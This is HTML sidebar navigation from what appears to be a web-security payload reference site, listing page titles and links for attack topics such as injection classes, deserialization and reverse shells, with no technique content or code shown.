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Tools
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Exploit
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Twitter API Secret
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HockeyApp API Token
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IIS Machine Keys
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Identify known machine key
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<a href="#decode-viewstate" class="md-nav__link">
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Decode ViewState
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Generate ViewState for RCE
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Edit cookies with the machine key
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Mapbox API Token
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</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_4" >
<label class="md-nav__link" for="__nav_4" id="__nav_4_label" tabindex="0">
<span class="md-ellipsis">
AWS Amazon Bucket S3
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_4">
<span class="md-nav__icon md-icon"></span>
AWS Amazon Bucket S3
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../AWS%20Amazon%20Bucket%20S3/" class="md-nav__link">
<span class="md-ellipsis">
Amazon Bucket S3 AWS
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_5" >
<label class="md-nav__link" for="__nav_5" id="__nav_5_label" tabindex="0">
<span class="md-ellipsis">
Account Takeover
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_5">
<span class="md-nav__icon md-icon"></span>
Account Takeover
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Account%20Takeover/" class="md-nav__link">
<span class="md-ellipsis">
Account Takeover
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_6" >
<label class="md-nav__link" for="__nav_6" id="__nav_6_label" tabindex="0">
<span class="md-ellipsis">
Argument Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_6">
<span class="md-nav__icon md-icon"></span>
Argument Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Argument%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Argument Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_7" >
<label class="md-nav__link" for="__nav_7" id="__nav_7_label" tabindex="0">
<span class="md-ellipsis">
Business Logic Errors
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_7">
<span class="md-nav__icon md-icon"></span>
Business Logic Errors
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Business%20Logic%20Errors/" class="md-nav__link">
<span class="md-ellipsis">
Business Logic Errors
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_8" >
<label class="md-nav__link" for="__nav_8" id="__nav_8_label" tabindex="0">
<span class="md-ellipsis">
CICD
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_8">
<span class="md-nav__icon md-icon"></span>
CICD
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CICD/" class="md-nav__link">
<span class="md-ellipsis">
CI/CD attacks
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_9" >
<label class="md-nav__link" for="__nav_9" id="__nav_9_label" tabindex="0">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_9">
<span class="md-nav__icon md-icon"></span>
CORS Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CORS%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
CORS Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_10" >
<label class="md-nav__link" for="__nav_10" id="__nav_10_label" tabindex="0">
<span class="md-ellipsis">
CRLF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_10_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_10">
<span class="md-nav__icon md-icon"></span>
CRLF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CRLF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Carriage Return Line Feed
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_11" >
<label class="md-nav__link" for="__nav_11" id="__nav_11_label" tabindex="0">
<span class="md-ellipsis">
CSRF Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_11_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_11">
<span class="md-nav__icon md-icon"></span>
CSRF Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSRF%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross-Site Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_12" >
<label class="md-nav__link" for="__nav_12" id="__nav_12_label" tabindex="0">
<span class="md-ellipsis">
CSV Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_12_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_12">
<span class="md-nav__icon md-icon"></span>
CSV Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CSV%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
CSV Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_13" >
<label class="md-nav__link" for="__nav_13" id="__nav_13_label" tabindex="0">
<span class="md-ellipsis">
CVE Exploits
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_13_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_13">
<span class="md-nav__icon md-icon"></span>
CVE Exploits
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../CVE%20Exploits/" class="md-nav__link">
<span class="md-ellipsis">
Common Vulnerabilities and Exposures
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../CVE%20Exploits/Log4Shell/" class="md-nav__link">
<span class="md-ellipsis">
CVE-2021-44228 Log4Shell
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_14" >
<label class="md-nav__link" for="__nav_14" id="__nav_14_label" tabindex="0">
<span class="md-ellipsis">
Clickjacking
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_14_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_14">
<span class="md-nav__icon md-icon"></span>
Clickjacking
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Clickjacking/" class="md-nav__link">
<span class="md-ellipsis">
Clickjacking: Web Application Security Vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_15" >
<label class="md-nav__link" for="__nav_15" id="__nav_15_label" tabindex="0">
<span class="md-ellipsis">
Command Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_15_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_15">
<span class="md-nav__icon md-icon"></span>
Command Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Command%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Command Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_16" >
<label class="md-nav__link" for="__nav_16" id="__nav_16_label" tabindex="0">
<span class="md-ellipsis">
DNS Rebinding
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_16_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_16">
<span class="md-nav__icon md-icon"></span>
DNS Rebinding
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../DNS%20Rebinding/" class="md-nav__link">
<span class="md-ellipsis">
DNS Rebinding
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_17" >
<label class="md-nav__link" for="__nav_17" id="__nav_17_label" tabindex="0">
<span class="md-ellipsis">
Dependency Confusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_17_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_17">
<span class="md-nav__icon md-icon"></span>
Dependency Confusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dependency%20Confusion/" class="md-nav__link">
<span class="md-ellipsis">
Dependency Confusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_18" >
<label class="md-nav__link" for="__nav_18" id="__nav_18_label" tabindex="0">
<span class="md-ellipsis">
Directory Traversal
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_18_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_18">
<span class="md-nav__icon md-icon"></span>
Directory Traversal
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Directory%20Traversal/" class="md-nav__link">
<span class="md-ellipsis">
Directory Traversal
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_19" >
<label class="md-nav__link" for="__nav_19" id="__nav_19_label" tabindex="0">
<span class="md-ellipsis">
Dom Clobbering
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_19_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_19">
<span class="md-nav__icon md-icon"></span>
Dom Clobbering
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Dom%20Clobbering/" class="md-nav__link">
<span class="md-ellipsis">
Dom Clobbering
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_20" >
<label class="md-nav__link" for="__nav_20" id="__nav_20_label" tabindex="0">
<span class="md-ellipsis">
File Inclusion
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_20_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_20">
<span class="md-nav__icon md-icon"></span>
File Inclusion
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../File%20Inclusion/" class="md-nav__link">
<span class="md-ellipsis">
File Inclusion
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_21" >
<label class="md-nav__link" for="__nav_21" id="__nav_21_label" tabindex="0">
<span class="md-ellipsis">
Google Web Toolkit
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_21_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_21">
<span class="md-nav__icon md-icon"></span>
Google Web Toolkit
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Google%20Web%20Toolkit/" class="md-nav__link">
<span class="md-ellipsis">
Google Web Toolkit
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_22" >
<label class="md-nav__link" for="__nav_22" id="__nav_22_label" tabindex="0">
<span class="md-ellipsis">
GraphQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_22_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_22">
<span class="md-nav__icon md-icon"></span>
GraphQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../GraphQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
GraphQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_23" >
<label class="md-nav__link" for="__nav_23" id="__nav_23_label" tabindex="0">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_23_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_23">
<span class="md-nav__icon md-icon"></span>
HTTP Parameter Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../HTTP%20Parameter%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Parameter Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_24" >
<label class="md-nav__link" for="__nav_24" id="__nav_24_label" tabindex="0">
<span class="md-ellipsis">
Hidden Parameters
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_24_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_24">
<span class="md-nav__icon md-icon"></span>
Hidden Parameters
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Kubernetes
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Kubernetes/" class="md-nav__link">
<span class="md-ellipsis">
Kubernetes
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTex Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
<span class="md-ellipsis">
Miscellaneous & Tricks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management & CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
